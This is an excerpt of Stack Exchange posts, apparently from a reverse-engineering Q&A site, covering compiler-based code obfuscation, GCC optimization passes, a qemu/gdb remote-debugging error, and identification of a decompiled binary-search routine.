  <row Id="4134" PostTypeId="2" ParentId="4098" CreationDate="2014-04-24T06:45:14.057" Score="1" Body="&lt;p&gt;A simple way there is. &lt;code&gt;readelf -d libxyz.so&lt;/code&gt; all dependencies lists. One of these libraries extend or substitute you can.&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-04-24T12:22:46.433" LastActivityDate="2014-04-24T12:22:46.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4135" PostTypeId="2" ParentId="3617" CreationDate="2014-04-24T11:20:15.130" Score="7" Body="&lt;p&gt;I do not think code morphism is &lt;em&gt;the&lt;/em&gt; or &lt;em&gt;an&lt;/em&gt; answer to this question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the question was about is obfuscating the algorithm implementation by using less common or undocumented assembly instructions. This can actually be done by some compilers when extensive optimizations are turned on. For example compilers like the &lt;strong&gt;Intel C Compiler&lt;/strong&gt;, &lt;strong&gt;GCC&lt;/strong&gt;, or &lt;strong&gt;PGI&lt;/strong&gt; can autovectorize loops when matched to some internal patterns (&lt;em&gt;reductions&lt;/em&gt;, &lt;em&gt;matrix multiplications&lt;/em&gt;, ...) and when the target architecture supports vectorization. Other optimizations can lead to extremely tricky assembly code but still, it can always be reversed since the compiler performs no &lt;strong&gt;explicit&lt;/strong&gt; obfuscation and because most of what the compiler does is pattern matching. Of course if you associate a high level pattern to a low level one, well, you lose the obfuscation and your code can easily be reversed. Thus techniques as the one you're looking for can only be performed by hand either by writing high level code using compiler intrinsics and alternative constructs or at the assembly level.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are really interested in obfuscation techniques I recommend you going over Jan CAPPAERT's PhD thesis : &lt;a href=&quot;https://www.cosic.esat.kuleuven.be/publications/thesis-199.pdf&quot;&gt;https://www.cosic.esat.kuleuven.be/publications/thesis-199.pdf&lt;/a&gt;, it covers some nice techniques used not only on malware but on industrial software too. The bibliography is quite rich.&#xA;You can also check this talk given by Sean Taylor at Defcon on how to make the compiler do the obfuscation : &lt;a href=&quot;https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf&quot;&gt;https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About polymorphism, it is a nice obfuscation technique though it is rarely used in malware nowadays, and for many reasons. One of them is that few, if none, malware authors write code in assembly anymore, and most use frameworks and engines. You have to keep in mind that writing obfuscated assembly code is an art ... and that now it is used to harden the reverse engineering process for profit not for the challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working on a &lt;strong&gt;GCC&lt;/strong&gt; plugin that adds an optimization pass which performs code obfuscation on the IR - internal representation (GIMPLE) - of a code before applying another obfuscation pass at the assembly level. The interesting thing about this approach is that you have the CFG (Control Flow Graph) of the program at compile time, and you can apply many obfuscation algorithms and techniques in order to break it into other equivalent CFGs and then assess which suites best and use it throughout the remaining compilation phases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope my post helps.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-24T11:25:40.787" LastActivityDate="2014-04-24T11:25:40.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4136" PostTypeId="2" ParentId="4011" CreationDate="2014-04-24T14:56:42.710" Score="6" Body="&lt;p&gt;Well, there are numerous optimization techniques performed by &lt;code&gt;GCC&lt;/code&gt;. Such optimizations go from dead code elimination to loop unrolling, function inlining and many others. Before explaining the optimization techniques I'll start with what compilers do before optimizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optimizations are usually performed on the &lt;code&gt;IR&lt;/code&gt; (intermediate representation) of the provided code. Most compilers translate the input code (&lt;code&gt;C&lt;/code&gt;, &lt;code&gt;C++&lt;/code&gt;, &lt;code&gt;Fortran&lt;/code&gt;, ...) into &lt;code&gt;IR&lt;/code&gt;. This translation is performed by the &lt;code&gt;*front-end*&lt;/code&gt; which feeds the &lt;code&gt;IR&lt;/code&gt; to the &lt;code&gt;*middle-end*&lt;/code&gt; that will apply optimization passes and feed it up to the &lt;code&gt;*back-end*&lt;/code&gt; which will then generate machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;GCC&lt;/code&gt; the IR is called GIMPLE and is presented briefly in &lt;a href=&quot;http://gcc.gnu.org/wiki/GIMPLE&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link. What &lt;code&gt;GCC&lt;/code&gt; also does is convert its &lt;code&gt;GIMPLE&lt;/code&gt; representation of the given code into &lt;code&gt;SSA&lt;/code&gt; form (Static Single Assignment), which is described in &lt;a href=&quot;http://pages.cs.wisc.edu/~fischer/cs701.f08/ssa.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; 1989 publication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you follow &lt;a href=&quot;http://gcc.gnu.org/onlinedocs/gccint/Tree-SSA-passes.html#Tree-SSA-passes&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link you'll find all of the SSA optimization passes that &lt;code&gt;GCC&lt;/code&gt; implements with a brief description. And I think you should also check the RTL passes. &lt;a href=&quot;ftp://ftp.uvsq.fr/pub/gcc/summit/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you'll find two directories full of detailed descriptions of what &lt;code&gt;GCC&lt;/code&gt; exactly does. These are the most reliable references you can find since they are from the &lt;code&gt;GCC&lt;/code&gt; people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have to know is that some optimizations are performed multiple times and in a different order. For example, dead code elimination, which consists of eliminating islands from the &lt;code&gt;CFG&lt;/code&gt; (Control Flow Graph) of the program, can be performed after certain optimizations which can cause islands creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example. Suppose you have a code that looks like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   int x = 1;&#xA;&#xA;   //Some code that doesn't alter the value of x&#xA;&#xA;   if (x == 2)&#xA;    { BLOCK1; }&#xA;   else&#xA;      { BLOCK2; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, suppose that the compiler applies optimizations in this order :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dead code elimination&lt;/li&gt;&#xA;&lt;li&gt;Branch prediction&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first pass will, of course, find no islands in the &lt;code&gt;CFG&lt;/code&gt;.&#xA;The second one (branch prediction), on the other hand, will figure out that the value of x doesn't change, and that it is different from 2 all the way from its declaration &amp;amp; initialization to its use in the if condition. This means that the whole if statement must be eliminated &amp;amp; replaced by BLOCK2. Thus a dead code elimination pass is necessary after branch prediction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another optimization is loop unrolling. It consists of duplicating the loop body and augmenting the stride in order to fill the CPU pipeline and have a better cache locality. For example, this &lt;em&gt;reduction&lt;/em&gt; loop can be unrolled 4 times in order to gain some cycles and ameliorate cache access :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   //Ununrolled version&#xA;   for (int i = 0; i &amp;lt; N; i++)&#xA;       r += t[i];&#xA;&#xA;   //Unrolled version handling any value of N &#xA;   for (int i = 0; i &amp;lt; (N &amp;amp; ~3); i += 4)&#xA;     {&#xA;        r += t[i]; &#xA;        r += t[i + 1]; &#xA;        r += t[i + 2]; &#xA;        r += t[i + 3]; &#xA;     }&#xA;&#xA;    //Handling the rest of the array elements &#xA;    for (int i = (N &amp;amp; ~3); i &amp;lt; N; i++)&#xA;        r += t[i];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we suppose that t is an array of floats (sizeof(float) = 4bytes) unrolling 4 times implies accessing 16bytes per iteration. If this code is run on an &lt;strong&gt;Intel&lt;/strong&gt; &lt;strong&gt;SandyBridge&lt;/strong&gt; it will perform well, but not great (if prefetching isn't activated). Why ? Because a cache line size on the &lt;strong&gt;SandyBridge&lt;/strong&gt; micro architecture is 64Bytes and the loop accesses 1/4 of a cache line per iteration. Unrolling 16 times will certainly result in much better performance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty with this optimization technique is finding the right unroll factor for the right loop. Choosing a value too large or too small can result in performance drops. Also, the underlying architecture plays a very important role (the cache size on a &lt;strong&gt;Pentium&lt;/strong&gt; and a &lt;strong&gt;Haswell&lt;/strong&gt; isn't similar, same thing for the reorder buffers and pipelines). What some compilers do is perform static or dynamic analysis on a loop with different unroll factors and choose the one with the best profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These optimizations are usually performed on the IR but they can also be performed on assembly code. There are other optimizations that are tightly related to assembly, for example instructions reordering. This optimization consists of changing the order of instructions in order to have better instruction pipelining or parallel support. Sometimes, if a dependency exists between instructions, and if reordering induces great gains in performance, the dependency will be broken and the instructions reordered.&lt;br&gt;&#xA;The code below shows how reordering instructions can result in a much better construct :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   //Ordered&#xA;   mov eax , [@1]&#xA;   add eax , ecx&#xA;   mov [@0], eax    &#xA;   mul ecx , ebx&#xA;   sub edx , eax&#xA;&#xA;   //Reordered &#xA;   mov eax , [@1]&#xA;   add eax , ecx&#xA;   sub edx , eax&#xA;   mul ecx , ebx&#xA;   mov [@0], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is obvious that the ordered &amp;amp; reordered code perform the same operations, but the reordered version will consume less cycles than the ordered one because the &lt;em&gt;add&lt;/em&gt;, &lt;em&gt;sub&lt;/em&gt;, and &lt;em&gt;mul&lt;/em&gt; instructions, being of the same class, will not block one another in the pipeline. You can also notice that memory operations where put in the extremities of the code. This pattern usually results in a better performance than the ones with mixed up instructions, especially when such code is inside a loop or a basic block that is often executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of interesting optimizations : auto-vectorization, function inlining, memory alignment, ... but unfortunately this page isn't large enough for me to cover them all. You can check &lt;code&gt;GCC&lt;/code&gt;'s source code and manuals for more information.&#xA;The references I pointed out above and below are quite helpful. If you manage to digest most of what they have to offer I'm sure you'll find what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.agner.org/optimize/&quot; rel=&quot;nofollow&quot;&gt;http://www.agner.org/optimize/&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-optimization-manual.html&quot; rel=&quot;nofollow&quot;&gt;http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-optimization-manual.html&lt;/a&gt;&lt;br&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ukcatalogue.oup.com/product/9780198066644.do&quot; rel=&quot;nofollow&quot;&gt;http://ukcatalogue.oup.com/product/9780198066644.do&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-06-11T07:00:39.117" LastActivityDate="2014-06-11T07:00:39.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4137" PostTypeId="1" CreationDate="2014-04-24T16:27:23.093" Score="1" ViewCount="428" Body="&lt;p&gt;I'm trying to debug an application using Qemu for AARCH64&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./qemu-arm64-static -g 1234 file.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When running GDB and connecting to the remote host, I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./aarch64-linux-gnu-gdb &#xA;GNU gdb (crosstool-NG linaro-1.13.1-4.8-2014.03 - Linaro GCC 2014.03) 7.6.1-2013.10&#xA;Copyright (C) 2013 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;--host=i686-build_pc-linux-gnu --target=aarch64-linux-gnu&quot;.&#xA;For bug reporting instructions, please see:&#xA;&amp;lt;https://bugs.launchpad.net/gcc-linaro&amp;gt;.&#xA;(gdb) file file.bin&#xA;Reading symbols from .bin...(no debugging symbols found)...done.&#xA;(gdb) target remote localhost:1234&#xA;Remote debugging using localhost:1234&#xA;warning: while parsing target description (at line 1): Could not load XML document &quot;arm-neon.xml&quot;&#xA;warning: Could not load XML target description; ignoring&#xA;0x0000000000000000 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;arm-neon.xml seems that it should be sent by qemu, strace of qemu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;read(4, &quot;$qXfer:features:read:arm-neon.xm&quot;..., 256) = 42&#xA;sendto(4, &quot;+&quot;, 1, 0, NULL, 0)           = 1&#xA;sendto(4, &quot;$E00#a5&quot;, 7, 0, NULL, 0)     = 7&#xA;recvfrom(4, &quot;+&quot;, 1, 0, NULL, NULL)      = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is causing the issue ? How is arm-neon.xml should be retrieved by qemu and how to solve it ?&lt;/p&gt;&#xA;" OwnerUserId="3469" LastActivityDate="2014-04-24T16:27:23.093" Title="qemu and gdb error: could not load xml document" Tags="|gdb|qemu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4139" PostTypeId="1" AcceptedAnswerId="4140" CreationDate="2014-04-25T04:21:01.057" Score="2" ViewCount="1022" Body="&lt;p&gt;I decompiled a application and found what seems like some kind of sorting algorithm, I was told it's not even a sorting algorithm, but a binary search on stackoverflow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't know which one it is can someone let me know it's actual name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whatever is passed into the strcmpi wrapper is in some area's divided by 2 who knows some crazy stuff.. I thought it was qsort (quicksort) since it's a standard library for C. But i'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl SomeKindOfSortAlgorithm(int a1, int a2, int a3, signed int a4, int (__cdecl *a5)(unsigned int, unsigned int), int a6)&#xA;{&#xA;  int v6; // esi@1&#xA;  int result; // eax@1&#xA;  int v8; // ebp@2&#xA;  int v9; // edi@2&#xA;&#xA;  v6 = 0;&#xA;  result = 0;&#xA;  *(unsigned int *)a6 = 0;&#xA;  if ( !a3 )&#xA;    return result;&#xA;  v8 = a2;&#xA;  v9 = a2 + a4 * (a3 - 1);&#xA;  if ( a2 &amp;gt; (unsigned int)v9 )&#xA;  {&#xA;LABEL_9:&#xA;    if ( result &amp;gt; 0 )&#xA;      v6 += a4;&#xA;    return v6;&#xA;  }&#xA;  while ( 1 )&#xA;  {&#xA;    v6 = v8 + a4 * (v9 - v8) / a4 / 2;&#xA;    result = a5(a1, v8 + a4 * (v9 - v8) / a4 / 2);&#xA;    if ( result &amp;lt; 0 )&#xA;    {&#xA;      if ( v6 == a2 )&#xA;        goto LABEL_9;&#xA;      v9 = v6 - a4;&#xA;      goto LABEL_8;&#xA;    }&#xA;    if ( result &amp;lt;= 0 )&#xA;      break;&#xA;    v8 = v6 + a4;&#xA;LABEL_8:&#xA;    if ( v8 &amp;gt; (unsigned int)v9 )&#xA;      goto LABEL_9;&#xA;  }&#xA;  *(unsigned int *)a6 = 1;&#xA;  if ( v6 == a2 )&#xA;  {&#xA;LABEL_15:&#xA;    result = a2;&#xA;  }&#xA;  else&#xA;  {&#xA;    while ( 1 )&#xA;    {&#xA;      v6 -= a4;&#xA;      if ( a5(a1, v6) )&#xA;        break;&#xA;      if ( v6 == a2 )&#xA;        goto LABEL_15;&#xA;    }&#xA;    result = v6 + a4;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the compare function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl StrCmpiWrapper(const char *Str1, const char **a2)&#xA;{&#xA;  return _strcmpi(Str1, *a2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is how you use it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int ChatMsgBuffer;&#xA;  int v4; // eax@1&#xA;  int v5; // eax@5&#xA;  int v8; // [sp+10h] [bp-4h]@1&#xA;&#xA;  v4 = SomeKindOfSortAlgorithm(&#xA;         ChatMsgBuffer,&#xA;         textFile-&amp;gt;Pointer,&#xA;         textFile-&amp;gt;TotalElements,&#xA;         4,&#xA;         (int (__cdecl *)(unsigned int, unsigned int))StrCmpiWrapper,&#xA;         (int)&amp;amp;v8);&#xA;&#xA;  if ( !v8 &amp;amp;&amp;amp; v4 )&#xA;  {&#xA;      //Allocate memory .. copy it and other stuff here.&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is how a real qsort looks when decompiled&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __cdecl sub_4015D0(int a1, unsigned int a2, unsigned int a3, unsigned int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD), int a6)&#xA;{&#xA;  unsigned int v6; // esi@2&#xA;  int v7; // edi@9&#xA;  unsigned int v8; // esi@32&#xA;  int v9; // esi@38&#xA;  unsigned int k; // edi@41&#xA;  unsigned int v11; // edi@43&#xA;  void *v12; // edi@52&#xA;  int j; // [sp+Ch] [bp-20h]@52&#xA;  unsigned int v14; // [sp+10h] [bp-1Ch]@16&#xA;  int v15; // [sp+14h] [bp-18h]@11&#xA;  int v16; // [sp+14h] [bp-18h]@16&#xA;  unsigned int v17; // [sp+18h] [bp-14h]@9&#xA;  int v18; // [sp+1Ch] [bp-10h]@2&#xA;  unsigned int v19; // [sp+28h] [bp-4h]@2&#xA;  unsigned int i; // [sp+38h] [bp+Ch]@38&#xA;&#xA;  while ( a3 )&#xA;  {&#xA;    if ( a2 &amp;lt;= 0x20 )&#xA;      goto LABEL_37;&#xA;    v19 = a1 + a4 * a2;&#xA;    v6 = a1 + a4 * (a2 &amp;gt;&amp;gt; 1);&#xA;    v18 = a4 + v6;&#xA;    sub_401420(a1, a1 + a4 * (a2 &amp;gt;&amp;gt; 1), a1 + a4 * a2 - a4, a4, a5, a6);&#xA;    while ( a1 &amp;lt; v6 &amp;amp;&amp;amp; !a5(v6 - a4, v6, a6) )&#xA;      v6 -= a4;&#xA;    while ( v18 &amp;lt; v19 &amp;amp;&amp;amp; !a5(v18, v6, a6) )&#xA;      v18 += a4;&#xA;    v7 = v18;&#xA;    v17 = v6;&#xA;    while ( 1 )&#xA;    {&#xA;      while ( 1 )&#xA;      {&#xA;        for ( ; v7 &amp;lt; v19; v7 += a4 )&#xA;        {&#xA;          v15 = a5(v6, v7, a6);&#xA;          if ( v15 &amp;gt;= 0 )&#xA;          {&#xA;            if ( v15 &amp;gt; 0 )&#xA;              break;&#xA;            sub_401160(v18, v7, a4);&#xA;            v18 += a4;&#xA;          }&#xA;        }&#xA;        if ( a1 &amp;lt; v17 )&#xA;        {&#xA;          do&#xA;          {&#xA;            v14 = v17 - a4;&#xA;            v16 = a5(v17 - a4, v6, a6);&#xA;            if ( v16 &amp;gt;= 0 )&#xA;            {&#xA;              if ( v16 &amp;gt; 0 )&#xA;                break;&#xA;              v6 -= a4;&#xA;              sub_401160(v6, v14, a4);&#xA;            }&#xA;            v17 -= a4;&#xA;          }&#xA;          while ( a1 &amp;lt; v14 );&#xA;        }&#xA;        if ( v17 == a1 )&#xA;          break;&#xA;LABEL_27:&#xA;        if ( v7 == v19 )&#xA;        {&#xA;          v17 -= a4;&#xA;          v18 -= a4;&#xA;          v6 -= a4;&#xA;          if ( v17 == v6 )&#xA;            sub_401160(v6, v18, a4);&#xA;          else&#xA;            sub_401220(v17, v18, v6, a4);&#xA;        }&#xA;        else&#xA;        {&#xA;          v17 -= a4;&#xA;          sub_401160(v7, v17, a4);&#xA;          v7 += a4;&#xA;        }&#xA;      }&#xA;      if ( v7 == v19 )&#xA;        break;&#xA;      if ( v17 != a1 )&#xA;        goto LABEL_27;&#xA;      if ( v18 == v7 )&#xA;        sub_401160(v7, v6, a4);&#xA;      else&#xA;        sub_401220(v7, v6, v18, a4);&#xA;      v7 += a4;&#xA;      v6 += a4;&#xA;      v18 += a4;&#xA;    }&#xA;    a3 = (a3 &amp;gt;&amp;gt; 2) + (a3 &amp;gt;&amp;gt; 1);&#xA;    v8 = (v6 - a1) / a4;&#xA;    a2 = (v19 - v18) / a4;&#xA;    if ( v8 &amp;gt; a2 )&#xA;    {&#xA;      sub_4015D0(v18, a2, a3, a4, a5, a6);&#xA;      a2 = v8;&#xA;    }&#xA;    else&#xA;    {&#xA;      sub_4015D0(a1, v8, a3, a4, a5, a6);&#xA;      a1 = v18;&#xA;    }&#xA;  }&#xA;  if ( a2 &amp;lt;= 0x20 )&#xA;  {&#xA;LABEL_37:&#xA;    if ( a2 &amp;gt; 1 )&#xA;    {&#xA;      v9 = a1;&#xA;      for ( i = a2 - 1; i; --i )&#xA;      {&#xA;        v9 += a4;&#xA;        if ( a5(v9, a1, a6) &amp;gt;= 0 )&#xA;        {&#xA;          v12 = (void *)v9;&#xA;          for ( j = v9; ; v12 = (void *)j )&#xA;          {&#xA;            j -= a4;&#xA;            if ( a5(v9, j, a6) &amp;gt;= 0 )&#xA;              break;&#xA;          }&#xA;          if ( v12 != (void *)v9 )&#xA;            sub_401310(v12, v9, a4);&#xA;        }&#xA;        else&#xA;        {&#xA;          sub_401310((void *)a1, v9, a4);&#xA;        }&#xA;      }&#xA;    }&#xA;    return;&#xA;  }&#xA;  for ( k = a2 &amp;gt;&amp;gt; 1; k; sub_401500(a1, k, a2, a4, a5, a6) )&#xA;    --k;&#xA;  v11 = a1 + a4 * a2;&#xA;  while ( a2 &amp;gt; 1 )&#xA;  {&#xA;    v11 -= a4;&#xA;    sub_401160(a1, v11, a4);&#xA;    --a2;&#xA;    sub_401500(a1, 0, a2, a4, a5, a6);&#xA;  }&#xA;}&#xA;&#xA;int __cdecl sub_401420(int a1, int a2, int a3, unsigned int a4, int a5, int a6)&#xA;{&#xA;  unsigned int v6; // edi@2&#xA;  int result; // eax@2&#xA;&#xA;  if ( 40 * a4 &amp;gt;= a3 - a1 )&#xA;  {&#xA;    result = sub_4013B0(a1, a2, a3, a4, a5, a6);&#xA;  }&#xA;  else&#xA;  {&#xA;    v6 = a4 * (((a3 - a1) / a4 &amp;gt;&amp;gt; 3) + 1);&#xA;    sub_4013B0(a1, v6 + a1, a1 + 2 * v6, a4, a5, a6);&#xA;    sub_4013B0(a2 - v6, a2, a2 + v6, a4, a5, a6);&#xA;    sub_4013B0(a3 - 2 * v6, a3 - v6, a3, a4, a5, a6);&#xA;    result = sub_4013B0(a1 + v6, a2, a3 - v6, a4, a5, a6);&#xA;  }&#xA;  return result;&#xA;}&#xA;&#xA;int __cdecl sub_401500(int a1, unsigned int a2, unsigned int a3, int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD), int a6)&#xA;{&#xA;  int v6; // ebx@1&#xA;  int v7; // esi@1&#xA;  int i; // edi@1&#xA;  int result; // eax@6&#xA;  unsigned int v10; // ebx@7&#xA;  unsigned int v11; // edi@7&#xA;  int v12; // [sp+Ch] [bp-4h]@1&#xA;&#xA;  v12 = a2;&#xA;  v6 = 2 * a2 + 2;&#xA;  v7 = a1 + a4 * a2;&#xA;  for ( i = a1 + a4 * (2 * a2 + 2); v6 &amp;lt;= a3; i = a1 + a4 * v6 )&#xA;  {&#xA;    if ( v6 == a3 || a5(i, i - a4, a6) &amp;lt; 0 )&#xA;    {&#xA;      --v6;&#xA;      i -= a4;&#xA;    }&#xA;    sub_401160(v7, i, a4);&#xA;    a2 = v6;&#xA;    v7 = i;&#xA;    v6 = 2 * v6 + 2;&#xA;  }&#xA;  result = v12;&#xA;  if ( v12 &amp;lt; a2 )&#xA;  {&#xA;    do&#xA;    {&#xA;      v10 = (a2 - 1) &amp;gt;&amp;gt; 1;&#xA;      v11 = a1 + a4 * ((a2 - 1) &amp;gt;&amp;gt; 1);&#xA;      result = a5(v7, a1 + a4 * ((a2 - 1) &amp;gt;&amp;gt; 1), a6);&#xA;      if ( result &amp;lt;= 0 )&#xA;        break;&#xA;      sub_401160(v11, v7, a4);&#xA;      a2 = (a2 - 1) &amp;gt;&amp;gt; 1;&#xA;      v7 = v11;&#xA;      result = v12;&#xA;    }&#xA;    while ( v12 &amp;lt; v10 );&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastEditorUserId="4451" LastEditDate="2014-04-25T04:43:30.290" LastActivityDate="2014-04-25T06:25:39.233" Title="C What kind of sorting algorithm is this?" Tags="|ida|decompilation|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4140" PostTypeId="2" ParentId="4139" CreationDate="2014-04-25T06:25:39.233" Score="8" Body="&lt;p&gt;It's a binary search.  I've renamed several of the variables, and in one case, introduced a new variable, because one of the local variables was used for one thing in the first half of the function and something else in the second half of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only tricky part is that once it finds an occurrence of the string to find, it iterates to find the &lt;em&gt;first&lt;/em&gt; occurrence.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;typedef const char* MYTYPE;&#xA;typedef char* PTR_TYPE;&#xA;&#xA;PTR_TYPE __cdecl SomeKindOfSortAlgorithm(MYTYPE elementToFind, PTR_TYPE array, unsigned int numElts, unsigned int eltSize, int (__cdecl *compare)(MYTYPE, PTR_TYPE), bool* pFound)&#xA;{&#xA;  PTR_TYPE mid; // esi@1&#xA;  int result; // eax@1&#xA;  PTR_TYPE lower_bound; // ebp@2&#xA;  PTR_TYPE upper_bound; // edi@2&#xA;&#xA;  mid = 0;&#xA;  result = 0;&#xA;  *pFound = false;&#xA;  if ( !numElts )&#xA;    return NULL;&#xA;  lower_bound = array;&#xA;  upper_bound = array + eltSize * (numElts - 1);&#xA;  if ( array &amp;gt; upper_bound )&#xA;  {&#xA;NOT_FOUND:&#xA;    if ( result &amp;gt; 0 )&#xA;      mid += eltSize;&#xA;    return mid;&#xA;  }&#xA;  while ( 1 )&#xA;  {&#xA;    mid = lower_bound + eltSize * (upper_bound - lower_bound) / eltSize / 2;&#xA;    result = compare(elementToFind, mid);&#xA;    if ( result &amp;lt; 0 ) // elementToFind should go before mid&#xA;    {&#xA;      if ( mid == array )&#xA;        goto NOT_FOUND;&#xA;      upper_bound = mid - eltSize;&#xA;      goto CHECK_LOOP_END;&#xA;    }&#xA;    if ( result &amp;lt;= 0 ) // elementToFind equals the element at mid&#xA;      break;&#xA;    // elementToFind should go after mid&#xA;    lower_bound = mid + eltSize;&#xA;CHECK_LOOP_END:&#xA;    if ( lower_bound &amp;gt; upper_bound )&#xA;      goto NOT_FOUND;&#xA;  }&#xA;&#xA;  PTR_TYPE pFirstOccurrance;&#xA;  *pFound = true;&#xA;  if ( mid == array )&#xA;  {&#xA;AT_FIRST_ELEMENT:&#xA;    pFirstOccurrance = array;&#xA;  }&#xA;  else&#xA;  {&#xA;    while ( 1 )&#xA;    {&#xA;      mid -= eltSize;&#xA;      if ( compare(elementToFind, mid) ) // elementToFind != element at mid&#xA;        break;&#xA;      if ( mid == array )&#xA;        goto AT_FIRST_ELEMENT;&#xA;    }&#xA;    pFirstOccurrance = mid + eltSize;&#xA;  }&#xA;  return pFirstOccurrance;&#xA;}&#xA;&#xA;int __cdecl StrCmpiWrapper(MYTYPE element, PTR_TYPE arrayPointer)&#xA;{&#xA;  return _strcmpi(element, *(MYTYPE*)arrayPointer);&#xA;}&#xA;&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;  MYTYPE lookFor = &quot;def&quot;;&#xA;  MYTYPE* pFirstOccurrance; // eax@1&#xA;  bool found; // [sp+10h] [bp-4h]@1&#xA;&#xA;  MYTYPE data[3] = {&#xA;      &quot;abc&quot;,&#xA;      &quot;def&quot;,&#xA;      &quot;ghi&quot;&#xA;  };&#xA;&#xA;  pFirstOccurrance = (MYTYPE*)SomeKindOfSortAlgorithm(&#xA;         lookFor,&#xA;         (PTR_TYPE)data,&#xA;         3,&#xA;         sizeof(MYTYPE),&#xA;         StrCmpiWrapper,&#xA;         &amp;amp;found);&#xA;&#xA;  if ( !found &amp;amp;&amp;amp; pFirstOccurrance )&#xA;  {&#xA;      //Allocate memory .. copy it and other stuff here.&#xA;  }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4453" LastActivityDate="2014-04-25T06:25:39.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
